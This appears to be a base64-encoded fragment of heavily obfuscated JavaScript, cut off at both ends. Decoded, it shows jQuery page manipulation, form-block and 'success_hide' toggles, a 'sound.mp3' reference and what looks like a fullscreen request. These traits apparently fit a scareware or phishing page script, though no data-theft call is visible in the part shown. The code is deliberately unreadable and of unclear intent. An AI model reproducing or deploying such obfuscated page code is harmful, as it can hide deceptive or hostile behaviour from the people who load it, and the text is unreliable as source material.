0ZjEsMHgyYTIsMHgzNTUsMHg0MzgpXSwnWERkbnYnOmZ1bmN0aW9uKF8weDhmNTFmYyxfMHhhN2M5NjMpe2Z1bmN0aW9uIF8weDQ0NmJkYShfMHg4MzdiY2EsXzB4MmUyYjFkLF8weDM0OTM1YSxfMHgyNTZiYjcpe3JldHVybiBfMHgyMTQyNjAoXzB4ODM3YmNhLTB4MTMxLF8weDgzN2JjYSxfMHgzNDkzNWEtMHgxNWYsXzB4MzQ5MzVhLTB4MjM2KTt9cmV0dXJuIF8weDJmNTM0OVtfMHg0NDZiZGEoMHg4Y2EsMHg0MmMsMHg2MDAsMHg0ODApXShfMHg4ZjUxZmMsXzB4YTdjOTYzKTt9LCdYSFV3SSc6ZnVuY3Rpb24oXzB4MmMzNWM5LF8weDI2MWNlZil7ZnVuY3Rpb24gXzB4MjFmZWUyKF8weDFjMDA2YixfMHgzYjVmMDEsXzB4MTg5MjA0LF8weDNlZjU5NCl7cmV0dXJuIF8weDIxNjI3ZShfMHgxYzAwNmIsXzB4M2I1ZjAxLTB4NixfMHgxODkyMDQtMHgxLF8weDNiNWYwMS0gLTB4MWRiKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgyMWZlZTIoMHg2ODUsMHg1YzIsMHg4NjYsMHg0OWEpXShfMHgyYzM1YzksXzB4MjYxY2VmKTt9LCdYWnZXeCc6ZnVuY3Rpb24oXzB4YzBhZWRhKXtyZXR1cm4gXzB4YzBhZWRhKCk7fSwnWEl6b0gnOmZ1bmN0aW9uKF8weDllYjkzMSxfMHg0YjNiMjQpe2Z1bmN0aW9uIF8weDQ1NmRmYyhfMHg1NjkwNDUsXzB4MWFlOTc2LF8weDQ1OTVmYixfMHg1N2U2Yzgpe3JldHVybiBfMHgyMTQyNjAoXzB4NTY5MDQ1LTB4NGYsXzB4MWFlOTc2LF8weDQ1OTVmYi0weDExLF8weDU3ZTZjOC0weDI3MSk7fXJldHVybiBfMHgyZjUzNDlbXzB4NDU2ZGZjKDB4NjM1LDB4OWE3LDB4NjVhLDB4NzI5KV0oXzB4OWViOTMxLF8weDRiM2IyNCk7fSwnWmNGY1AnOl8weDIxNDI2MCgweDI1OCwweDY3ZiwweDVhMywweDUyZSkrJ2Zvcm1fYmxvY2snLCdYT2h3ZSc6ZnVuY3Rpb24oXzB4ODQxOTAwLF8weDQ0MTY5MSl7cmV0dXJuIF8weDg0MTkwMChfMHg0NDE2OTEpO30sJ0ZMT3hoJzpmdW5jdGlvbihfMHgyMzM1NTEpe2Z1bmN0aW9uIF8weGE1OTE1KF8weDIxNTk1NCxfMHg5Y2UyM2IsXzB4MjVhNzRhLF8weDNlZmY5ZSl7cmV0dXJuIF8weDIxNjI3ZShfMHgyNWE3NGEsXzB4OWNlMjNiLTB4NTUsXzB4MjVhNzRhLTB4MTc5LF8weDNlZmY5ZS0gLTB4MjcpO31yZXR1cm4gXzB4MmY1MzQ5W18weGE1OTE1KDB4ODg0LDB4NzgwLDB4NmI0LDB4N2MxKV0oXzB4MjMzNTUxKTt9LCdPQ0tYWCc6ZnVuY3Rpb24oXzB4MzdiZDFlLF8weDQ1NmEyMil7cmV0dXJuIF8weDM3YmQxZStfMHg0NTZhMjI7fSwnRHhMVmsnOmZ1bmN0aW9uKF8weDIzZTRmYil7cmV0dXJuIF8weDJmNTM0OVsnVmNpR0cnXShfMHgyM2U0ZmIpO30sJ0F2WlViJzpmdW5jdGlvbihfMHg1YTlmODcpe3JldHVybiBfMHg1YTlmODcoKTt9LCdjTXVJVyc6ZnVuY3Rpb24oXzB4MzY2ODI2LF8weDNlNTA3MCxfMHg0ZmU0MTEsXzB4Mjc3YmQyKXtyZXR1cm4gXzB4MmY1MzQ5WydXelVVayddKF8weDM2NjgyNixfMHgzZTUwNzAsXzB4NGZlNDExLF8weDI3N2JkMik7fSwnUVpkeUQnOmZ1bmN0aW9uKF8weDI4NDZkMSxfMHgzODY5MGQpe2Z1bmN0aW9uIF8weDFlZGVlYihfMHgyNjQ2NDYsXzB4NDBlYTAxLF8weDU5MzZlYixfMHgzZTkxYWEpe3JldHVybiBfMHgyMTQyNjAoXzB4MjY0NjQ2LTB4OGIsXzB4MjY0NjQ2LF8weDU5MzZlYi0weDMwLF8weDNlOTFhYS0weDE1YSk7fXJldHVybiBfMHgyZjUzNDlbXzB4MWVkZWViKDB4NDVjLDB4NGIyLDB4NjM4LDB4NTY2KV0oXzB4Mjg0NmQxLF8weDM4NjkwZCk7fSwnd1Rwa00nOl8weDJmNTM0OVtfMHgyMTQyNjAoMHg2YTksMHg3ZjksMHg2NjcsMHg1MWYpXSwnTEFmUVgnOl8weDJmNTM0OVsnb0drbGYnXSwnVVlKU0UnOmZ1bmN0aW9uKF8weDIwMDZmMixfMHhiZGU4OTcpe2Z1bmN0aW9uIF8weGZmNDUxYihfMHg0NDJjMjMsXzB4NGYwMjg0LF8weDJiNjlmYixfMHgyMzdiY2Qpe3JldHVybiBfMHgyMTQyNjAoXzB4NDQyYzIzLTB4M2UsXzB4MjM3YmNkLF8weDJiNjlmYi0weGU4LF8weDQ0MmMyMy0weDM2NSk7fXJldHVybiBfMHgyZjUzNDlbXzB4ZmY0NTFiKDB4NDY0LDB4NzA4LDB4MzliLDB4NGY2KV0oXzB4MjAwNmYyLF8weGJkZTg5Nyk7fSwnUEFDaGknOl8weDJmNTM0OVtfMHgyMTYyN2UoMHg0NTksMHhlZSwweDRiNSwweDJkNCldLCdITnJMSSc6ZnVuY3Rpb24oXzB4MzJmNTRiLF8weDRjMGMxNil7ZnVuY3Rpb24gXzB4NDU5YmNiKF8weDI1YmUxOSxfMHgyNGU0MDYsXzB4NTI4MDQ2LF8weDNkMGZjOCl7cmV0dXJuIF8weDIxNjI3ZShfMHg1MjgwNDYsXzB4MjRlNDA2LTB4ZTEsXzB4NTI4MDQ2LTB4MTdlLF8weDI0ZTQwNi0gLTB4NDU0KTt9cmV0dXJuIF8weDJmNTM0OVtfMHg0NTliY2IoLTB4MWViLC0weDgzLC0weDllLC0weDhiKV0oXzB4MzJmNTRiLF8weDRjMGMxNik7fSwnSEJmcVYnOmZ1bmN0aW9uKF8weDQ2NjRjMSxfMHhmMDM2YTgpe3JldHVybiBfMHgyZjUzNDlbJ1dpYWFXJ10oXzB4NDY2NGMxLF8weGYwMzZhOCk7fSwnVWl2SWYnOl8weDJmNTM0OVtfMHgyMTYyN2UoMHgyNWUsMHg1MTYsMHg1MzUsMHgzM2UpXSwndHBVV0EnOmZ1bmN0aW9uKF8weDU5NWQyYyxfMHhlYjZjZjUpe2Z1bmN0aW9uIF8weDM5YTZiMChfMHgzNjY2OWYsXzB4NTZmYmUxLF8weDFiZTFiYixfMHg0NGFmZTcpe3JldHVybiBfMHgyMTQyNjAoXzB4MzY2NjlmLTB4ZGMsXzB4NDRhZmU3LF8weDFiZTFiYi0weDE4MyxfMHgxYmUxYmItIC0weDE0OCk7fXJldHVybiBfMHgyZjUzNDlbXzB4MzlhNmIwKC0weDE3MywweDFiZSwweDE2MCwweDlhKV0oXzB4NTk1ZDJjLF8weGViNmNmNSk7fSwnTVp6cG8nOl8weDIxNjI3ZSgweDdmOSwweGE1NiwweDczYywweDdmNSkrJ3InLCdlRVlVZSc6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDUyNiwweGRhLDB4NTFjLDB4MzU3KV0sJ1hMSGFlJzpfMHgyMTYyN2UoMHgyZTEsMHg1NzksMHg1ZWIsMHgzZjApLCdGU0lQeSc6XzB4MmY1MzQ5W18weDIxNDI2MCgweDEwMCwweDJkYSwtMHg0ZiwweDIyOSldLCdSVWRDcyc6ZnVuY3Rpb24oXzB4MTMxYjJhLF8weDQ4YmQ4ZSl7cmV0dXJuIF8weDEzMWIyYShfMHg0OGJkOGUpO30sJ3FGYUt6JzpfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MzY0LDB4MjdmLDB4MmFlLDB4NDYzKV0sJ1FCbXRqJzpmdW5jdGlvbihfMHgyMDRhMjQsXzB4MmQ2YTM2KXtmdW5jdGlvbiBfMHgxYzUzNDgoXzB4MTJkZDFjLF8weDVhN2IwZSxfMHgzNWJiMTQsXzB4NDM2OGU1KXtyZXR1cm4gXzB4MjE2MjdlKF8weDQzNjhlNSxfMHg1YTdiMGUtMHgzOSxfMHgzNWJiMTQtMHhhYSxfMHg1YTdiMGUtMHhkNyk7fXJldHVybiBfMHgyZjUzNDlbXzB4MWM1MzQ4KDB4MzhiLDB4MzUzLDB4M2Y0LDB4MjI1KV0oXzB4MjA0YTI0LF8weDJkNmEzNik7fSwnV2d0eFQnOidzdWNjZXNzX2hpJysnZGUnLCdrRlNOUCc6XzB4MmY1MzQ5W18weDIxNDI2MCgweDMwMSwweDFjYywtMHgxMjMsMHhiNildLCdsTG52SSc6ZnVuY3Rpb24oXzB4NTZjYTJlLF8weDU2OGZhZSl7cmV0dXJuIF8weDJmNTM0OVsnTUh6Wm0nXShfMHg1NmNhMmUsXzB4NTY4ZmFlKTt9LCdISWJXeic6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDc1LDB4MTRmLC0weDgsMHgyNzMpXSwnaWhLdGonOmZ1bmN0aW9uKF8weDU5NDk0MSxfMHgzYWZlYmQpe3JldHVybiBfMHg1OTQ5NDErXzB4M2FmZWJkO30sJ3pFZW9GJzpfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MjM5LDB4M2JlLC0weDI4LDB4MTg3KV0sJ2l0TmtKJzpmdW5jdGlvbihfMHgzZmUyZTYsXzB4MWFlOTBlKXtyZXR1cm4gXzB4M2ZlMmU2KF8weDFhZTkwZSk7fSwnUHV4cWsnOl8weDJmNTM0OVtfMHgyMTYyN2UoMHg1M2YsMHgxNGUsMHgzMzYsMHgyZmEpXSwnekNCcFYnOl8weDJmNTM0OVtfMHgyMTQyNjAoMHg1NjUsMHgzZjksMHgzMiwweDJjMCldLCdteG5nYyc6ZnVuY3Rpb24oXzB4MTFiZjNlLF8weDJmY2U3ZCl7cmV0dXJuIF8weDExYmYzZT09PV8weDJmY2U3ZDt9LCdNU1hMcCc6XzB4MjE0MjYwKDB4NDQ3LDB4NTUxLC0weDE4LDB4MmMyKSwnQldwU1knOmZ1bmN0aW9uKF8weDYwZGU2YixfMHg0N2I5Zjgpe2Z1bmN0aW9uIF8weDNlY2ExMShfMHgxYTIzYzMsXzB4NGZkZTM0LF8weDVkYzQzNyxfMHgyNTQzODEpe3JldHVybiBfMHgyMTYyN2UoXzB4MWEyM2MzLF8weDRmZGUzNC0weDExMixfMHg1ZGM0MzctMHgxYixfMHg0ZmRlMzQtMHhhYyk7fXJldHVybiBfMHgyZjUzNDlbXzB4M2VjYTExKDB4NzRjLDB4NjA4LDB4N2Y3LDB4NjI4KV0oXzB4NjBkZTZiLF8weDQ3YjlmOCk7fSwnQ0R5SEInOl8weDIxNjI3ZSgweDgyZCwweDVhNywweDk1MiwweDdmMCkrJ3RfY2xvc2UnLCdNbVF1bCc6ZnVuY3Rpb24oXzB4ZjZjNzc3LF8weDVkMmY1NCl7cmV0dXJuIF8weGY2Yzc3NyhfMHg1ZDJmNTQpO30sJ2RZbmxsJzpmdW5jdGlvbihfMHg1NTBkZmYsXzB4MmQ4OGI3KXtmdW5jdGlvbiBfMHg1YjQzMmQoXzB4MWZmNjFlLF8weDM4NjFiNSxfMHhmM2EyYTQsXzB4M2YyNTFjKXtyZXR1cm4gXzB4MjE0MjYwKF8weDFmZjYxZS0weGRmLF8weDNmMjUxYyxfMHhmM2EyYTQtMHhjOCxfMHhmM2EyYTQtMHhiZik7fXJldHVybiBfMHgyZjUzNDlbXzB4NWI0MzJkKDB4ZjYsMHg0OGQsMHgxOWYsLTB4MTMxKV0oXzB4NTUwZGZmLF8weDJkODhiNyk7fSwnT05zdGcnOl8weDIxNjI3ZSgweDE0NCwweDMwNCwweDZkMCwweDNlNiksJ0daQkd3JzpmdW5jdGlvbihfMHgyMGNjMTUsXzB4M2Y0OTM2KXtyZXR1cm4gXzB4MmY1MzQ5Wyd6YWF4ViddKF8weDIwY2MxNSxfMHgzZjQ5MzYpO30sJ1hpTm9kJzpmdW5jdGlvbihfMHg0M2MxMzEsXzB4MjE0NjkyKXtyZXR1cm4gXzB4NDNjMTMxK18weDIxNDY5Mjt9LCdNZG1KRic6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDlkMSwweDliMywweDQwZCwweDZlNildLCdHRmhSdyc6XzB4MmY1MzQ5Wydma1lKciddLCd0c3BhSCc6XzB4MjE2MjdlKDB4MjdmLDB4Mjk2LDB4MmU4LDB4MjJmKSwnUFJwTGQnOl8weDIxNjI3ZSgweDQ1MSwweDQ2OCwweDdlZSwweDY3ZCksJ1BlUkRNJzpfMHgyZjUzNDlbXzB4MjE0MjYwKDB4NjksMHgyYzgsMHg0ZCwweDI2MyldLCdsSWVoTSc6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDI5MCwweDEwNCwweDRjMywweDM5NyldLCdtd09rRCc6ZnVuY3Rpb24oXzB4NDg2NTQxLF8weDFmOGEwMSl7cmV0dXJuIF8weDJmNTM0OVsnYWtvTmMnXShfMHg0ODY1NDEsXzB4MWY4YTAxKTt9LCdQeWluSyc6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDFiOSwweDJmMywweDQ3NSwweDQ0OCldLCdsc2Zuaic6XzB4MjE0MjYwKDB4M2YzLDB4NGZhLDB4Mjk5LDB4NDdlKStfMHgyMTYyN2UoMHg4NmUsMHg3NmQsMHg2ZjcsMHg1ZjkpK18weDIxNjI3ZSgweDQ2NCwweDU2YiwweDk3NSwweDZmNiksJ0x2QXVKJzpmdW5jdGlvbihfMHg0NDhjNGQsXzB4NDU5YTRiKXtyZXR1cm4gXzB4NDQ4YzRkIT09XzB4NDU5YTRiO30sJ2lTWXNSJzpfMHgyZjUzNDlbJ1pKTW53J10sJ1JuSVNJJzpfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NDZmLDB4NWVkLDB4NjU3LDB4NTg1KV0sJ1pXaldYJzpmdW5jdGlvbihfMHhhZjA4YjAsXzB4MzEwZjRlKXtyZXR1cm4gXzB4YWYwOGIwKF8weDMxMGY0ZSk7fSwneFVydWonOmZ1bmN0aW9uKF8weDFlZDU2NyxfMHgxYTI4ZmQpe3JldHVybiBfMHgyZjUzNDlbJ0dQdmlKJ10oXzB4MWVkNTY3LF8weDFhMjhmZCk7fSwnYmhNdEQnOid0YXJnZXQnLCdLRnJSTyc6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDQzNCwweDFlNSwweDI1NiwweDRjZSldLCdRWXBRdic6ZnVuY3Rpb24oXzB4MzEzMmJkLF8weDUzY2ZlYil7ZnVuY3Rpb24gXzB4MWNlNzI2KF8weGZiNWVjNixfMHg2NGVmYTAsXzB4Mjg5ZmIyLF8weDRjOTg1OCl7cmV0dXJuIF8weDIxNjI3ZShfMHhmYjVlYzYsXzB4NjRlZmEwLTB4MTYyLF8weDI4OWZiMi0weDYyLF8weDY0ZWZhMC0gLTB4M2Q4KTt9cmV0dXJuIF8weDJmNTM0OVtfMHgxY2U3MjYoLTB4MmUyLC0weDE3YywtMHgyMzgsLTB4M2UyKV0oXzB4MzEzMmJkLF8weDUzY2ZlYik7fSwnb3d3bWUnOl8weDJmNTM0OVtfMHgyMTYyN2UoMHg1ZDQsMHg2NmYsMHg0ZTMsMHg0MjkpXSwnck5mVUYnOl8weDJmNTM0OVsnZmd3T3InXSwnalRuSHMnOl8weDJmNTM0OVtfMHgyMTYyN2UoMHg0NzYsMHg1NDgsMHgyMmEsMHg0ZWUpXSwncVl3alQnOl8weDIxNDI2MCgweDJhZSwweDQ2LDB4M2UxLDB4MWQ1KSsncDMvc291bmQubScrJ3AzJywnRmdSZ3onOmZ1bmN0aW9uKF8weDMzN2Q4Nyl7ZnVuY3Rpb24gXzB4MTkwMTA1KF8weDRkYTEzNixfMHg1MzM0ZDUsXzB4MTg5OTI1LF8weDkyMzVmMyl7cmV0dXJuIF8weDIxNDI2MChfMHg0ZGExMzYtMHg5MixfMHg5MjM1ZjMsXzB4MTg5OTI1LTB4MThhLF8weDRkYTEzNi0gLTB4MjA3KTt9cmV0dXJuIF8weDJmNTM0OVtfMHgxOTAxMDUoMHgzNzUsMHgyMjksMHgyNDUsMHg1NGYpXShfMHgzMzdkODcpO30sJ3RRYWlUJzpmdW5jdGlvbihfMHg0Mjk2ZWMpe3JldHVybiBfMHg0Mjk2ZWMoKTt9LCdXamVuZCc6ZnVuY3Rpb24oXzB4MTE4YWQxKXtmdW5jdGlvbiBfMHgyNDEwODYoXzB4MTM2NWY5LF8weDE2YzE4NCxfMHgzZGFlMjEsXzB4NTA2ZjYxKXtyZXR1cm4gXzB4MjE0MjYwKF8weDEzNjVmOS0weDE0ZixfMHgzZGFlMjEsXzB4M2RhZTIxLTB4MTg3LF8weDUwNmY2MS0weDE5ZSk7fXJldHVybiBfMHgyZjUzNDlbXzB4MjQxMDg2KDB4NDFmLDB4NjQxLDB4MzZlLDB4NjI5KV0oXzB4MTE4YWQxKTt9LCdGckZQQic6ZnVuY3Rpb24oXzB4ZmU2ODc5KXtmdW5jdGlvbiBfMHgyYWE3MDcoXzB4M2M4NDgwLF8weGIzZGU2ZSxfMHgxYjU1MWMsXzB4MzMzOTIxKXtyZXR1cm4gXzB4MjE2MjdlKF8weDFiNTUxYyxfMHhiM2RlNmUtMHgxMmIsXzB4MWI1NTFjLTB4MWNhLF8weDNjODQ4MC0weDI3NSk7fXJldHVybiBfMHgyZjUzNDlbXzB4MmFhNzA3KDB4NjYwLDB4NWRiLDB4NzQzLDB4N2VhKV0oXzB4ZmU2ODc5KTt9LCdBYlBVaic6XzB4MmY1MzQ5W18weDIxNDI2MCgweDk3LDB4MWQ3LDB4NTg2LDB4MjllKV0sJ3piZ05oJzpmdW5jdGlvbihfMHg0ZjFlYTMsXzB4MTAzYWFhKXtmdW5jdGlvbiBfMHg1MTlmZmUoXzB4MjcyZTU2LF8weDM0YmQyMCxfMHgzNzVmMDUsXzB4N2RmM2ZhKXtyZXR1cm4gXzB4MjE2MjdlKF8weDM3NWYwNSxfMHgzNGJkMjAtMHg2YixfMHgzNzVmMDUtMHgxNDcsXzB4N2RmM2ZhLTB4MTYxKTt9cmV0dXJuIF8weDJmNTM0OVtfMHg1MTlmZmUoMHg2YzIsMHhhMzgsMHg5MTcsMHg5MWQpXShfMHg0ZjFlYTMsXzB4MTAzYWFhKTt9LCdpVHhXYic6ZnVuY3Rpb24oXzB4MjFkNGZmLF8weDEyNTk0OSl7ZnVuY3Rpb24gXzB4NGQ4MTA4KF8weDMxNzFjNSxfMHg1YjllMDcsXzB4MWZlYzFiLF8weDQ3MjQzNil7cmV0dXJuIF8weDIxNjI3ZShfMHg0NzI0MzYsXzB4NWI5ZTA3LTB4MTcyLF8weDFmZWMxYi0weDFhMixfMHgxZmVjMWItIC0weGI1KTt9cmV0dXJuIF8weDJmNTM0OVtfMHg0ZDgxMDgoMHgzMDYsMHg3NzAsMHg1Y2UsMHg0N2MpXShfMHgyMWQ0ZmYsXzB4MTI1OTQ5KTt9LCdISW1LTic6ZnVuY3Rpb24oXzB4YTVhYjQxLF8weDUyMzA3YSl7ZnVuY3Rpb24gXzB4MTNiMzEwKF8weDE3MTE3MixfMHgzMjE3ODksXzB4M2QxMDAyLF8weDE2MGQ2Nil7cmV0dXJuIF8weDIxNjI3ZShfMHgxNjBkNjYsXzB4MzIxNzg5LTB4MTg3LF8weDNkMTAwMi0weDFjLF8weDMyMTc4OS0gLTB4MTBjKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgxM2IzMTAoMHgzZDIsMHgzOGEsMHg1NjgsMHg5MildKF8weGE1YWI0MSxfMHg1MjMwN2EpO30sJ0FvcFlPJzpfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NjE4LDB4N2NmLDB4ODE0LDB4NzdjKV0sJ05uRVJMJzpmdW5jdGlvbihfMHg0Y2IxNDEsXzB4MmNkODNlKXtmdW5jdGlvbiBfMHg0OTFkZmYoXzB4MTU4NWM2LF8weDVhMzZlMCxfMHg1MWIxN2IsXzB4MzZiOGRhKXtyZXR1cm4gXzB4MjE0MjYwKF8weDE1ODVjNi0weDE2NSxfMHgzNmI4ZGEsXzB4NTFiMTdiLTB4NDksXzB4NWEzNmUwLSAtMHgxNWYpO31yZXR1cm4gXzB4MmY1MzQ5W18weDQ5MWRmZigweDI4MiwweDFhNCwweDFmOSwweGFiKV0oXzB4NGNiMTQxLF8weDJjZDgzZSk7fSwnaVdKZmUnOl8weDJmNTM0OVtfMHgyMTYyN2UoMHgyNWYsMHgyNzEsMHgyMDMsMHg0NmEpXSwnQUFWQUQnOmZ1bmN0aW9uKF8weDJmNWMxMCxfMHgxMzYxM2Qpe2Z1bmN0aW9uIF8weDQxOWRlMShfMHgyNDEyZDEsXzB4NTM3NDY4LF8weDU5YWFjNSxfMHg0YjE4NDQpe3JldHVybiBfMHgyMTYyN2UoXzB4NTlhYWM1LF8weDUzNzQ2OC0weDkwLF8weDU5YWFjNS0weGU5LF8weDRiMTg0NC0gLTB4MjZiKTt9cmV0dXJuIF8weDJmNTM0OVtfMHg0MTlkZTEoMHgyZmIsMHg0YmEsMHg0M2QsMHg1N2IpXShfMHgyZjVjMTAsXzB4MTM2MTNkKTt9LCdqbW5USCc6ZnVuY3Rpb24oXzB4NTllNDcxLF8weDUyN2Y3Zil7cmV0dXJuIF8weDU5ZTQ3MShfMHg1MjdmN2YpO30sJ2tSY1lwJzpmdW5jdGlvbihfMHgxZTM5NDIsXzB4ZDM3MmMzKXtyZXR1cm4gXzB4MWUzOTQyK18weGQzNzJjMzt9LCdJVmFmaSc6XzB4MjE2MjdlKDB4NzQ4LDB4YTY3LDB4OWZiLDB4N2Y4KSwncHl1Z3onOl8weDJmNTM0OVtfMHgyMTYyN2UoLTB4NmIsLTB4NzgsMHgyMzIsMHgyNmEpXSwnWGZ2QVcnOmZ1bmN0aW9uKF8weDM0NDNhZCxfMHgyMzBjODcpe2Z1bmN0aW9uIF8weGM4YzI2MChfMHgxYWFjN2YsXzB4MjhkMjUyLF8weDNmMzlhMSxfMHg3NWJiYzYpe3JldHVybiBfMHgyMTQyNjAoXzB4MWFhYzdmLTB4MTgyLF8weDI4ZDI1MixfMHgzZjM5YTEtMHgxZDYsXzB4MWFhYzdmLSAtMHgyNDUpO31yZXR1cm4gXzB4MmY1MzQ5W18weGM4YzI2MCgtMHgxNTIsLTB4MzYzLC0weDFjMywtMHgzZTApXShfMHgzNDQzYWQsXzB4MjMwYzg3KTt9LCdhR0xBaic6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDhmNiwweDgyOCwweDc0NiwweDY5ZSldLCd6dUNBeSc6ZnVuY3Rpb24oXzB4MjMwZGIxLF8weDIzMTJjYyl7ZnVuY3Rpb24gXzB4MzAwNTRiKF8weDE0ZDdjOCxfMHgyN2UwZjUsXzB4MmMxYzFmLF8weDMwMTZlMSl7cmV0dXJuIF8weDIxNjI3ZShfMHgyN2UwZjUsXzB4MjdlMGY1LTB4MTczLF8weDJjMWMxZi0weGVkLF8weDJjMWMxZi0gLTB4M2EzKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgzMDA1NGIoMHgzZDIsMHg2ZjEsMHg0MmMsMHgzNWEpXShfMHgyMzBkYjEsXzB4MjMxMmNjKTt9LCdTeXhZUCc6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDllMiwweDkwYywweDc0ZCwweDcwMCldLCdCWnh6dic6ZnVuY3Rpb24oXzB4MWFmODlkLF8weDIwZmY5NCl7ZnVuY3Rpb24gXzB4NDI3NGRhKF8weDJlNTExNSxfMHgzMmQ5YmMsXzB4MTdiZWUxLF8weDQ1MzI2Nil7cmV0dXJuIF8weDIxNDI2MChfMHgyZTUxMTUtMHhjZSxfMHgzMmQ5YmMsXzB4MTdiZWUxLTB4OTcsXzB4MTdiZWUxLSAtMHgyMjQpO31yZXR1cm4gXzB4MmY1MzQ5W18weDQyNzRkYSgweGU4LDB4NDAxLDB4MzNmLDB4NzEpXShfMHgxYWY4OWQsXzB4MjBmZjk0KTt9LCdNSU9UTCc6ZnVuY3Rpb24oXzB4NTUxOGE5LF8weDM2MmRiMCl7cmV0dXJuIF8weDJmNTM0OVsnckFhQ1UnXShfMHg1NTE4YTksXzB4MzYyZGIwKTt9LCdVb3laRCc6ZnVuY3Rpb24oXzB4NGRjMThlLF8weDVjYzY3MSl7cmV0dXJuIF8weDRkYzE4ZStfMHg1Y2M2NzE7fSwnd1d1Z2EnOmZ1bmN0aW9uKF8weDUzNGI2LF8weDJmNGFiZil7ZnVuY3Rpb24gXzB4Mzk0Nzk2KF8weDMzYWQ1MCxfMHgxODBkYWUsXzB4MTY0YjVjLF8weDVlYzY1YSl7cmV0dXJuIF8weDIxNDI2MChfMHgzM2FkNTAtMHgxYjQsXzB4MTY0YjVjLF8weDE2NGI1Yy0weDVjLF8weDE4MGRhZS0weDUxMSk7fXJldHVybiBfMHgyZjUzNDlbXzB4Mzk0Nzk2KDB4M2FjLDB4NWQ0LDB4NGY0LDB4NDRmKV0oXzB4NTM0YjYsXzB4MmY0YWJmKTt9LCdZcUhSRic6XzB4MmY1MzQ5W18weDIxNjI3ZSgweDEyZCwweDY0NywweDE4MCwweDNjZCldfTtpZihfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NDNjLDB4NmQ0LDB4MzVhLDB4NjM3KV0oJCxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NmRjLDB4MzJlLDB4NGY2LDB4NWYxKV0pW18weDIxNjI3ZSgweDRlZiwweDY0OCwweDRhZCwweDc0OSldKXtpZihfMHgyZjUzNDlbXzB4MjE2MjdlKDB4YzAsMHg1MzEsMHg0MTcsMHgzNzEpXShfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MzY5LC0weDZiLDB4OWMsMHgyODYpXSxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MTcyLDB4NTMsMHg0ZTEsMHgyYWIpXSkpcmV0dXJuIF8weDI0MTBlOFtfMHgyMTYyN2UoMHgzYjEsMHg0OWUsMHg2YmQsMHg0NTYpXShfMHg1ZDRhMmYpW18weDI0MTBlOFsnUWJHcUsnXV0oKSwhKC0weDE1ZCoweDFjKzB4MTU4ZiotMHgxKy0weDNiYmMqLTB4MSk7ZWxzZSBfMHgyZjUzNDlbXzB4MjE2MjdlKDB4M2ZiLDB4NWIzLDB4NGY2LDB4MmQzKV0oJCxkb2N1bWVudFtfMHgyMTQyNjAoMHgyZmEsMHg2NzksMHgzY2EsMHg0MTMpXSlbJ2NzcyddKF8weDJmNTM0OVsnWlhiRm4nXSxfMHgyZjUzNDlbXzB4MjE0MjYwKDB4NDQyLDB4M2E1LDB4MzNjLDB4NDE2KV0pLGNvbnNvbGVbXzB4MjE0MjYwKDB4NmQ3LDB4NTFjLDB4MzVjLDB4M2U4KV0oJ2YnKSxfMHgyZjUzNDlbXzB4MjE0MjYwKDB4NDVmLC0weGQ4LDB4OTUsMHgyMDApXSgkLF8weDJmNTM0OVtfMHgyMTQyNjAoMHg1ZDQsMHg2MTYsMHg0YzUsMHgzODUpXSlbJ29uJ10oXzB4MmY1MzQ5W18weDIxNDI2MCgweDNmYiwweDY0NCwweDVjNCwweDRjYyldLGZ1bmN0aW9uKCl7Y29uc29sZVsnbG9nJ10oJ2wnKTtmdW5jdGlvbiBfMHgxOTFjMzEoXzB4M2RiMWJiLF8weDJjNDUzZCxfMHgyMGIyNGMsXzB4NGI0ZDEwKXtyZXR1cm4gXzB4MjE0MjYwKF8weDNkYjFiYi0weDEyOCxfMHgyYzQ1M2QsXzB4MjBiMjRjLTB4YjQsXzB4MjBiMjRjLTB4MjlhKTt9ZnVuY3Rpb24gXzB4NjNiZjllKF8weDU1NjQ1OSxfMHgxZDkyMWEsXzB4M2U3YjA5LF8weDI0ZWExZil7cmV0dXJuIF8weDIxNDI2MChfMHg1NTY0NTktMHgxYmEsXzB4M2U3YjA5LF8weDNlN2IwOS0weGIzLF8weDFkOTIxYS0weDUwNik7fSQoZG9jdW1lbnRbXzB4NjNiZjllKDB4YmM2LDB4OTE5LDB4OTViLDB4YmU4KV0pWydjc3MnXShfMHgxMWM1OTVbXzB4NjNiZjllKDB4NjBlLDB4N2ZjLDB4N2VhLDB4ODUxKV0sXzB4MTFjNTk1W18weDYzYmY5ZSgweDlmYywweDgwYiwweDYxNiwweDZhNyldKTt9KSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4MmNjMzE1KF8weDM5N2MwNyxfMHgyZWQ4NmUsXzB4MTY0ZWYyLF8weDNlMTYwNSl7cmV0dXJuIF8weDIxNDI2MChfMHgzOTdjMDctMHgxODgsXzB4Mzk3YzA3LF8weDE2NGVmMi0weDE0NixfMHgxNjRlZjItMHgzMTMpO31mdW5jdGlvbiBfMHg0ZDcwZTUoXzB4M2I1Y2U4LF8weDI5ODk3NyxfMHgxNzM4MzUsXzB4NWUxZjNjKXtyZXR1cm4gXzB4MjE0MjYwKF8weDNiNWNlOC0weDEyLF8weDNiNWNlOCxfMHgxNzM4MzUtMHhmYyxfMHgyOTg5NzctMHgxYyk7fWlmKF8weDI0MTBlOFtfMHgyY2MzMTUoMHgyZGMsMHg1OTUsMHg1ZDQsMHgzYzcpXShfMHgyNDEwZThbXzB4NGQ3MGU1KDB4NDkxLDB4MzY5LDB4NDZkLDB4MTIzKV0sXzB4MjQxMGU4W18weDJjYzMxNSgweDkxZSwweDY0MCwweDY2MCwweDdhYSldKSl7aWYoXzB4Mjg0NmFmWydyZXF1ZXN0RnVsJytfMHg0ZDcwZTUoMHg2MDMsMHg1MzcsMHg2M